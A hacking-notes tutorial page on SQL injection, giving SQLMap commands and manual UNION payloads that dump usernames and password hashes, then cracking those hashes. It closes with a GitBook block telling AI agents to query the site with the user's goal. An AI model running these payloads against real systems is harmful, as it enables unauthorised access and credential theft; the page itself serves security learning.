> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# SQL Injection with SQLMap and Manual Testing
SQL injection exploitation workflow combining SQLMap automation with manual validation and database extraction.
{% hint style="info" %}
An **SQL injection** is a security vulnerability in web applications that occurs when malicious SQL queries are inserted into input fields to manipulate an underlying database. This allows an attacker to access, modify or filter unauthorized data. Tools such as SQLMap automate this process by identifying and exploiting such vulnerabilities, performing SQL injections in an automated manner. Alternatively, attackers can also perform SQL injection attacks manually by directly manipulating entries to gain unauthorized access to the database.
{% endhint %}
## Automated SQL injection (SQLMap)
1. Let's intercept a search request with Burp Suite:
2. Let's save this request in a file that we will call **request.req**:
3. The file contains the following **contents**:
4. With the **SQLMap** tool, let's run the following command to see if this website is **vulnerable** to an **SQL attack**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. With this command, let's list all the **databases**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. With this command, let's list all the **tables** of a specific database:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. With this command, let's list all the **columns** of a specific table:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. With this command, let's visualize the **contents** of the columns:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*If the tool finds encrypted passwords, it automatically decrypts them*:
***
## Manual SQL injection
1. Let's intercept a search request with Burp Suite:
2. Send this request to **Repeater**:
3. In the **searchitem** search field, add this:
```bash
test' order by 100-- -
```
4. The web server tells us that there are **not as many columns**:
5. Let's try **until there is nothing left** (in this case, there are 5 columns):
6. We now know that there **are 5 columns**, now with the **union** function, we will **visualize** them:
```arduino
test' union select 1,2,3,4,5-- -
```
* In case of **changing the name** of the 3rd column, for example "test", it **will also change**:
7. This means that if we introduce the **database()** or **user()** function, the **database name** or the **user name running the database** will be displayed:
**BELOW IS THE PROCEDURE FOR MANUAL LIST:**
1. Let's list all the **databases**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Let's list all **tables** of a specific database:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Let's list all **columns** of a specific table:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Let's visualize the **contents of the username and password columns** (in this case, we use the "product name" and "product type" columns):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Let's list the **contents of the username and password columns** again:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Let's copy the content** to the Pretty section of Burp Suite:
6. Let's open the **Nvim** text editor and paste the copied text, then use this command to format it correctly: `:%s/,//r/g`
7. With this command, let's only keep the hashes and copy them to the **ClipBoart**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Finally, with the [Hashes.com](https://hashes.com/en/decrypt/hash) website, get the passwords in **plain text**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
